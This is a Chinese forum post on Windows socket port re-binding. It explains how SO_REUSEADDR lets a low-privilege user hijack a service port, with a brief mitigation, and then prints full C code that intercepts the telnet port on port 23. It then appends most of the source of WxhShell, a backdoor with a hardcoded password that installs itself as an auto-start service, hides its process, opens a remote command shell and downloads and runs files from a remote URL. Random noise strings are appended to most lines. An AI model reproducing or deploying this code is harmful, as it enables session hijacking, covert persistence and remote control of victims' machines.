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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pCDmXB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YUb_y^B^  
RCrCs  
  saddr.sin_family = AF_INET; ;a/E42eN;  
!Cs_F&l"j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sKWfX Cd  
Wqnc{oq |$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PnTu  
+q4O D$}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [^)g%|W  
OI*H,Z "  
  这意味着什么?意味着可以进行如下的攻击: m 5.Zu.  
"%_+-C<L4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4*L_)z&4;  
@~e5<:|5#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -=="<0c  
+vH4MwG$.&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J,hCvm  
mw!F{pw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PCvWS.{  
! if   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <%d>v-=B  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SBpL6~NW  
\zY!qpX<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ 3Gf2_  
8}[).d160  
  #include XSDpRo  
  #include ' %qr.T %  
  #include Ri{=]$  
  #include    oRFq @g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s1rCpzK0  
  int main() pRqx`5 }  
  { uZ5p#M_  
  WORD wVersionRequested; osRy e3  
  DWORD ret; M{@(G5  
  WSADATA wsaData; |=w@H]r  
  BOOL val; 3<!7>]A  
  SOCKADDR_IN saddr; R5D1w+  
  SOCKADDR_IN scaddr; 8Wx=p#_  
  int err; zdYjF|  
  SOCKET s; $X6h|?3U,  
  SOCKET sc; fl(wV.Je|  
  int caddsize; paK2 xX8E  
  HANDLE mt; ]`K2 N  
  DWORD tid;   vgPCQO([  
  wVersionRequested = MAKEWORD( 2, 2 ); sT)CxOV  
  err = WSAStartup( wVersionRequested, &wsaData ); JI}'dU>*U:  
  if ( err != 0 ) { 3$ pX  
  printf("error!WSAStartup failed!\n"); NOva'qk  
  return -1; j_AACq {.  
  } UVP vOtZj  
  saddr.sin_family = AF_INET; UfGkTwoo=  
   29Ki uP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XwmL.Gg:]7  
[~HN<>L@C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); py4 h(04u  
  saddr.sin_port = htons(23); Xhm c6?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DU S6SO  
  { SU0 hma8  
  printf("error!socket failed!\n"); ! mHO$bQ"  
  return -1; fVlB=8DNk&  
  } 5+'<R8{:,  
  val = TRUE; X8|,   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C_Dn{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G[=c Ss,  
  { $i&zex{\  
  printf("error!setsockopt failed!\n"); _XBd3JN@  
  return -1; C]6O!Pb0  
  } )e{aN+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d6O[ @CyP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XSRsGTCC=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AH^/V}9H  
I,tud!p`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) { FkF  
  { Psf#c:*_)  
  ret=GetLastError(); kmW4:EA%  
  printf("error!bind failed!\n"); Y4-t7UlS;  
  return -1; J5qZFD  
  } -f .,tM=  
  listen(s,2); *w&e\i|7  
  while(1) ;u JMG  
  { 4dlGxat  
  caddsize = sizeof(scaddr); Hs8>anVo[  
  //接受连接请求 &yg|t5o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V!Uc(  
  if(sc!=INVALID_SOCKET) 6m93puY`7  
  { 8tL~FiHb"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N7"W{"3D  
  if(mt==NULL) .Mbz3;i0  
  { &d!GImcxQ  
  printf("Thread Creat Failed!\n"); 1M6D3d_  
  break; {c'lhUB  
  } 1zv'.uu.,  
  } dV_G1'  
  CloseHandle(mt); ]^E?;1$f?  
  } ye&;(30Oq  
  closesocket(s); G{}VPcrbC  
  WSACleanup(); @JMiO^  
  return 0; C+$#y2"z#n  
  }   P:c w|Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) M3\AY30L  
  { ?s01@f#  
  SOCKET ss = (SOCKET)lpParam; [,Gg^*umS  
  SOCKET sc; (QEG4&9  
  unsigned char buf[4096]; +7Gwg  
  SOCKADDR_IN saddr; QRUz`|U  
  long num; [0!(xp^  
  DWORD val; 01]f2.5  
  DWORD ret; D*jM1w_`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t.<i:#rj>l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ( .:e,l{U%  
  saddr.sin_family = AF_INET; zhQJy?>'m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yWK)vju"  
  saddr.sin_port = htons(23); Txu/{ M,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oH@78D0A  
  { `Di{}/2  
  printf("error!socket failed!\n"); {7[Ox<Ho  
  return -1; *dQSw)R  
  } G|Ti4_w  
  val = 100; 3";q[&F9y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |!ELV 7?(  
  { - ).C  
  ret = GetLastError(); &>O+}>lr9  
  return -1; cAw/I@jG  
  } Yy8g(bU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4W75T2q#  
  { 2 ?C)&  
  ret = GetLastError(); 97Vtn4N3  
  return -1; /vt3>d%B;  
  } z{q`GwW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ).O)p9  
  { KNl$3nX  
  printf("error!socket connect failed!\n"); inL(X;@yo  
  closesocket(sc); W?& %x(6M  
  closesocket(ss); tQVVhXQ7  
  return -1; 5P bW[  
  } PCA4k.,T  
  while(1) mFeP9MfJ  
  { I%):1\)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '/p4O2b,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?6!LL5a.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P}iE+Z 3  
  num = recv(ss,buf,4096,0); !WlH'y-I  
  if(num>0) WH\d| 1)  
  send(sc,buf,num,0); l/D} X  
  else if(num==0) ;uW FHc5@B  
  break; i b m4fa  
  num = recv(sc,buf,4096,0); }p V:M{Nu&  
  if(num>0) %T[]zJ(  
  send(ss,buf,num,0); P?<y%c<  
  else if(num==0) , gHDx  
  break; _1^'(5f$  
  } y_,bu^+*  
  closesocket(ss); YSMAd-Ef-  
  closesocket(sc); [[ZJ]^n,  
  return 0 ; !D6]JPX  
  } NK+o1   
3`HV(5U[  
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========================================================== kfNWI#'9  
!>tL6+yj  
下边附上一个代码,,WXhSHELL ,4 rPg]r@  
2%1hdA<  
========================================================== }]Tx lSp!;  
yZ:qU({KhD  
#include "stdafx.h" L];b< *d  
6@f-Glwg  
#include <stdio.h> g0H[*"hj  
#include <string.h> 8L XHk l  
#include <windows.h> $>gFf}#C  
#include <winsock2.h> )jj0^f1!j  
#include <winsvc.h> J4utIGF  
#include <urlmon.h> =41xkAMnk  
3T 9j@N77  
#pragma comment (lib, "Ws2_32.lib") -&f$GUTJ  
#pragma comment (lib, "urlmon.lib") |{;G2G1[  
s{++w5s  
#define MAX_USER   100 // 最大客户端连接数 ijcm2FJcG  
#define BUF_SOCK   200 // sock buffer $( )>g>%  
#define KEY_BUFF   255 // 输入 buffer g`^x@rj`E  
.hiSw  
#define REBOOT     0   // 重启 -di o5a  
#define SHUTDOWN   1   // 关机 0c &+|> !  
o  K@"f9  
#define DEF_PORT   5000 // 监听端口 ToQ"Iy?  
u-TUuP  
#define REG_LEN     16   // 注册表键长度 wzaV;ac4K  
#define SVC_LEN     80   // NT服务名长度 ,Q,^3*HX9}  
Q?T]MUY(L  
// 从dll定义API hph4`{T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ jA~9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +"(jjxJm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !BI;C(,RL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \9d$@V  
yVc(`,tZ(  
// wxhshell配置信息 "KlwA.7/  
struct WSCFG { %SI'BJ  
  int ws_port;         // 监听端口 E9}C  #  
  char ws_passstr[REG_LEN]; // 口令 z~Q)/d,Ac  
  int ws_autoins;       // 安装标记, 1=yes 0=no P4?glh q#  
  char ws_regname[REG_LEN]; // 注册表键名 +#By*;BJ  
  char ws_svcname[REG_LEN]; // 服务名 eQ"E   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OZT.=^:A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eFAnFJ][L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7.T?#;'3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9kojLqCT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KG@8RtHsQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .2pK.$.  
[Yyk0Qv|4  
}; OTp]Xe/  
*kVV+H<X|b  
// default Wxhshell configuration X|[`P<'N<  
struct WSCFG wscfg={DEF_PORT, [V!tVDs&'o  
    "xuhuanlingzhe", nie%eC&U  
    1, b2]Kx&!  
    "Wxhshell", DJ%PWlK5  
    "Wxhshell", {U1m.30n  
            "WxhShell Service", XM}hUJJW  
    "Wrsky Windows CmdShell Service", Q^I\cAIB  
    "Please Input Your Password: ", L(o15  
  1, e*!kZAf  
  "http://www.wrsky.com/wxhshell.exe", qVPeB,kIz  
  "Wxhshell.exe" rbQR,Nf2x  
    }; CNIsZ v@Q  
}i2V.tVB-  
// 消息定义模块 bx Wa oWE0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -F92-jBM4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 66 Tpi![  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5coZ|O&f8  
char *msg_ws_ext="\n\rExit."; rH>)oThA#  
char *msg_ws_end="\n\rQuit."; 875od  
char *msg_ws_boot="\n\rReboot..."; X(C$@N  
char *msg_ws_poff="\n\rShutdown..."; mqJ_W[y7  
char *msg_ws_down="\n\rSave to "; !-Y3V"  
Ve=b16H  
char *msg_ws_err="\n\rErr!"; MPk5^ua:  
char *msg_ws_ok="\n\rOK!"; &[SC|=U'M  
FN; ^"H  
char ExeFile[MAX_PATH]; vFsLY  
int nUser = 0; KYP!Rs/j.  
HANDLE handles[MAX_USER]; d %#b:(,  
int OsIsNt; c(%|: P^  
p:%loDk  
SERVICE_STATUS       serviceStatus; kW (Bkuc)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "\=U)CJ  
z ]Ue|%K  
// 函数声明 O~QB!<Q+  
int Install(void); ;$tSb ~K+  
int Uninstall(void); %IRi1EmN8  
int DownloadFile(char *sURL, SOCKET wsh); H.2QKws^F  
int Boot(int flag); :aQt;C6Z>  
void HideProc(void); D0q ":WvE  
int GetOsVer(void); |I|fMF2K  
int Wxhshell(SOCKET wsl); R$Q.sE  
void TalkWithClient(void *cs); XrPfotj1  
int CmdShell(SOCKET sock); #,.Hr#3nI  
int StartFromService(void); N?>vd*  
int StartWxhshell(LPSTR lpCmdLine); `@ FYkH  
jSAjcLR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0L KRN|@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s0_nLbWwO  
;\l,5EG  
// 数据结构和表定义 _~ &iq1  
SERVICE_TABLE_ENTRY DispatchTable[] = <9%R\_@$H  
{ g[t [/TV   
{wscfg.ws_svcname, NTServiceMain}, HdG2X  
{NULL, NULL} [PM4k0YC8  
}; J")#I91  
&I406Z f7y  
// 自我安装 ;'Nd~:-]  
int Install(void) QwJyY{O`  
{ yA>nli=  
  char svExeFile[MAX_PATH]; z~Q>V]a>;  
  HKEY key; S+2(f> Z  
  strcpy(svExeFile,ExeFile); 6DWgl$[[  
T n}s*<=V  
// 如果是win9x系统,修改注册表设为自启动 \j)E 5b+  
if(!OsIsNt) { .}`Ix'.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V/;B3t~f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i@ BtM9:  
  RegCloseKey(key); ~WN:DXn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jq^T1_iqn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -S+zmo8  
  RegCloseKey(key); -Vhw^T1iV  
  return 0; I0 RvnMw  
    } `V3Fx{  
  } "x /OIf  
} {91nL'-'  
else { uXq. ]ub  
tdaL/rRe  
// 如果是NT以上系统,安装为系统服务 Q1l' 7N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jdp3nzM^^@  
if (schSCManager!=0) 7`hP?a=  
{ ;]jNk'oa  
  SC_HANDLE schService = CreateService !&Pui{F  
  ( P A OJ\U  
  schSCManager, Q?/o%`N  
  wscfg.ws_svcname, :<#nTh_@\'  
  wscfg.ws_svcdisp, mo#04;VF  
  SERVICE_ALL_ACCESS, bD8Gwi=iiu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P_#bow  
  SERVICE_AUTO_START, (NnH:J`  
  SERVICE_ERROR_NORMAL, t>B;w14  
  svExeFile, $"&{aa  
  NULL, q8Z<{#oXu  
  NULL, SN!?}<|U  
  NULL, RlDn0s  
  NULL, >u8gD6X  
  NULL *C=>X193U  
  ); )Iq<+IJ  
  if (schService!=0) 6qd\)q6T&x  
  { QZ%`/\(!8_  
  CloseServiceHandle(schService); H1(Uw:V8  
  CloseServiceHandle(schSCManager); q\527^ZM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J{&H+rd  
  strcat(svExeFile,wscfg.ws_svcname); =6|&Jt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g^ i&gNDx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _W'-+,  
  RegCloseKey(key); fLm*1S|%\  
  return 0; r!a3\ep  
    } 6;qy#\}2  
  } JOim3(5?s  
  CloseServiceHandle(schSCManager); h@WhNk7"xa  
} {Z5nGG  
} W#C*5@8  
)sp4Ie  
return 1; m&?r%x  
} n`&U~s8w  
WPG(@zD  
// 自我卸载 zeC RK+-  
int Uninstall(void) )$bS}.  
{ W$ 2C47i  
  HKEY key; b e^6i:  
2WVka  
if(!OsIsNt) { t; {F%9j{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s)Cjc.Qs  
  RegDeleteValue(key,wscfg.ws_regname); 2nIw7>.}f  
  RegCloseKey(key); Jh[UtYb5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GMl;7?RA  
  RegDeleteValue(key,wscfg.ws_regname); -kwXvYu\  
  RegCloseKey(key); :| 8M`18lZ  
  return 0; qF-@V25P  
  } W= qVc  
} j578)!aJ  
} {_Rr 6  
else { s^uS1  
K]" #C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ )dXIIM  
if (schSCManager!=0) )i^<r;_z  
{ vv+z'(l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QR0Q{}wbqU  
  if (schService!=0) 0C6-GKbZ  
  { Hi1JLW,  
  if(DeleteService(schService)!=0) { bPt!yI:  
  CloseServiceHandle(schService); l +OFw)8od  
  CloseServiceHandle(schSCManager); u=7J /!H7^  
  return 0; 7.#F,Ue_0T  
  } R1GEh&U{  
  CloseServiceHandle(schService); 4X |(5q?  
  } os={PQRD  
  CloseServiceHandle(schSCManager); 04l!:Tp,  
} *P2S6z2  
} ],a5)kV  
;^%4Q"  
return 1; QKN+>X  
} 474SMx$  
#(JNn'fzq  
// 从指定url下载文件 aV|hCN~  
int DownloadFile(char *sURL, SOCKET wsh) Ix=}+K/  
{ UsQ+`\|  
  HRESULT hr; #[~pD:qqM  
char seps[]= "/"; T<p !5`B1  
char *token; kep/+J-u  
char *file; 4$S;(  
char myURL[MAX_PATH]; /%TI??PGu  
char myFILE[MAX_PATH]; &NoS=(s,  
W=vP]x >J  
strcpy(myURL,sURL); \GZM&Zd  
  token=strtok(myURL,seps); Ksj -zR;  
  while(token!=NULL) z'\_jaj^  
  { Slher0.Y  
    file=token; \BZhf?9U  
  token=strtok(NULL,seps); 1@R Db)<V  
  } Sf7\;^  
N@1+O,o  
GetCurrentDirectory(MAX_PATH,myFILE); oxkoA  
strcat(myFILE, "\\"); v+`N*\J_  
strcat(myFILE, file); IS 2^g>T#1  
  send(wsh,myFILE,strlen(myFILE),0); '~&X wZ&  
send(wsh,"...",3,0); DSk/q-'u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F,dx2ZPIs?  
  if(hr==S_OK) 5^lxj~ F  
return 0; V7P&%oz{C  
else au=o6WRa  
return 1; C=It* j55  
!&/{E [  
} ytoo~n  
3? 7\ T#=  
// 系统电源模块 | >htvDL  
int Boot(int flag) db6b-Y{   
{ B$!)YD;  
  HANDLE hToken; *ikc]wQr$  
  TOKEN_PRIVILEGES tkp; 7~aM=8r  
FUOI3  
  if(OsIsNt) { \r,Q1n?7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .5,(_p^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r1L ViK  
    tkp.PrivilegeCount = 1; TAF PawH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J}+6UlD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "a1n_>#Fb  
if(flag==REBOOT) { 6&l+0dq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rIh l.5Y  
  return 0; i2(1ki/|O  
} s,n0jix@  
else { ^!z [t\$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <$~mE9a6  
  return 0; i Ae<&Ms  
} \\7ZWp\fN  
  } YmgLzGk`  
  else { xJZ>uTN  
if(flag==REBOOT) { <'Wo@N7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J<maQ6p  
  return 0; >U*T0FL7  
} ?1$fJ3  
else { $UCAhG$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \lC   
  return 0; d'$T4yA  
} Z->p1xkX  
} *B{j.{ p(  
[E JQ>?D  
return 1; Jesjtcy<*  
} [P7N{l=I  
~UjGSO)z}  
// win9x进程隐藏模块 ``e$AS  
void HideProc(void) *nsAgGKKM^  
{ oDYRQozo>  
GBFtr   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [7S} g  
  if ( hKernel != NULL ) dW~*e2nq  
  { i35=Y~P-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^?]%sdT q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yvjc1  
    FreeLibrary(hKernel); {0^&SI"5`E  
  } yH*6@P4:0=  
Yf~{I-|`q  
return; [$"n^5_~  
} i?e`:}T  
Gz[fG  
// 获取操作系统版本 mAW, ?h  
int GetOsVer(void) V6#K2  
{ Y> Wu  
  OSVERSIONINFO winfo; Zg`Mz _?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /E5 5Pec  
  GetVersionEx(&winfo); ZRVT2VfN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d[^~'V  
  return 1; JPWOPB'H  
  else 0,rTdjH7  
  return 0; 'X !?vK^]p  
} &0(  
}~h(w^t  
// 客户端句柄模块 -x4X O`b  
int Wxhshell(SOCKET wsl) B8%{}[q  
{ GMZv RAu i  
  SOCKET wsh; {$^DMANDx  
  struct sockaddr_in client; gzD@cx?V  
  DWORD myID; 0 Ir<y  
Gkxj?)`  
  while(nUser<MAX_USER) ;6{@^  
{ N**g]T 0`  
  int nSize=sizeof(client); [ $T(WGF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J@ktyd(P  
  if(wsh==INVALID_SOCKET) return 1; STw#lU) %(  
{]]|5 \F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -TOIc%  
if(handles[nUser]==0) D.6,VY H  
  closesocket(wsh); \ y{Tn@7  
else 'EfR|7m  
  nUser++; 4r0b)Y &I  
  } Yl$SW;@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g@Qgxsyk>  
b (I2m  
  return 0; PeE/iZ.  
} 2kUxD8BcN  
F5qFYL;  
// 关闭 socket AkT<2H|4  
void CloseIt(SOCKET wsh) A &9(mB  
{ okFvn;  
closesocket(wsh); T'aec]u  
nUser--; @ (i!Y L  
ExitThread(0); H7k PM[  
} A?T<",bO  
FsGlJ   
// 客户端请求句柄 9A7@ 5F  
void TalkWithClient(void *cs) "h7tnMS  
{ ) (Tom9 ^  
*cg( ?yg  
  SOCKET wsh=(SOCKET)cs; S"hTE7`   
  char pwd[SVC_LEN]; kY&h~Q  
  char cmd[KEY_BUFF]; =@5x"MOz  
char chr[1]; Iu35#j  
int i,j; E|$Oha[  
)CS.F=  
  while (nUser < MAX_USER) { `K >?ju"  
oo$MWN8a>r  
if(wscfg.ws_passstr) { J!*/a'Cv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 02k4 N%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xlR2|4|8  
  //ZeroMemory(pwd,KEY_BUFF); 35x 0T/8  
      i=0; hwDbs[:  
  while(i<SVC_LEN) { X5*C+ I=2  
ow'lRHZ  
  // 设置超时 56Z\-=KAU  
  fd_set FdRead; irZFV  
  struct timeval TimeOut; }Y17*zp%  
  FD_ZERO(&FdRead); a%Jx `hx  
  FD_SET(wsh,&FdRead); m%8q Zzqk  
  TimeOut.tv_sec=8; iY bX  
  TimeOut.tv_usec=0; {3Vk p5%l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9=/N|m8.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l#wdpD a{  
.M4IGOvOS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $,hwU3RVxc  
  pwd=chr[0]; "XLe3n  
  if(chr[0]==0xd || chr[0]==0xa) { rB%$;<`/  
  pwd=0; &wetzC )  
  break; 5ZAb]F90  
  } @oG)LT  
  i++; Sb:T*N0gS  
    } I6LD)?  
<39!G7ny  
  // 如果是非法用户,关闭 socket lKEa)KF[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y#01o&f0n  
} kDz>r#%  
wn11\j&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2PSTGG8JV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7> Pgc  
K$REZe  
while(1) { ~mN% (w!^  
%E27.$E_  
  ZeroMemory(cmd,KEY_BUFF); ".~{:=  
uC]Z8&+obb  
      // 自动支持客户端 telnet标准   7=*VpX1  
  j=0; | H ;+1  
  while(j<KEY_BUFF) { 7XyOB+aQO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lg1PE7  
  cmd[j]=chr[0]; I 2HT2c$  
  if(chr[0]==0xa || chr[0]==0xd) { Cj;/Uhs  
  cmd[j]=0; r FL$QC2  
  break; UlQQP^Na  
  } 5GAy "Xd  
  j++; 8Vt4HD08  
    } qSO*$1i  
5QWNZJ&}d  
  // 下载文件 ,dd WBwMK  
  if(strstr(cmd,"http://")) { aN^IP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hGP1(pH.  
  if(DownloadFile(cmd,wsh)) Vul+]h[!h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <2P7utdZ  
  else )8{6+{5lu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j:1uP^.  
  } oVB"f  
  else { p#_[  
8kW/DcLE  
    switch(cmd[0]) { o+g4p:Mf  
  ur2!#bU9  
  // 帮助 a`Z{ xme =  
  case '?': { iY.eJlfH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ud3""C5B  
    break; < `Z%O<X  
  } 3DoRE2}  
  // 安装 BQjam+u6  
  case 'i': { t^@T`2jL  
    if(Install()) M<qudi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [a8+(  
    else EE%s<_k`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M g!ra"  
    break; Y5jYmP<  
    } If}lJ6jZ  
  // 卸载 ;1LG&h,K  
  case 'r': { KP~-$NR  
    if(Uninstall()) !.+"4TF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J`Oy.Qu)  
    else cztS]dcf>~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6f}e+80  
    break; |R'i:=  
    } ]M4NpU M  
  // 显示 wxhshell 所在路径 ~Ob8i1S>  
  case 'p': { :k1$g+(lP  
    char svExeFile[MAX_PATH]; Z! YpklZ?~  
    strcpy(svExeFile,"\n\r"); 4 10:%WGc  
      strcat(svExeFile,ExeFile); 5a$$95oL  
        send(wsh,svExeFile,strlen(svExeFile),0); #O</\|aH)i  
    break; !s-/0ugZ  
    } w<d*#$[,*  
  // 重启 &`PbO  
  case 'b': { SLA#= K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >}F?<JB  
    if(Boot(REBOOT)) L<@&nx   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'$>UFR  
    else { %}F"*.  
    closesocket(wsh); deM~[1e[  
    ExitThread(0);  6`"ZsO  
    } bhKV +oN  
    break; A[ 1)!e  
    } MhH);fn  
  // 关机 [s %\.y(q  
  case 'd': { B,0+HoP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mw|SH;nM  
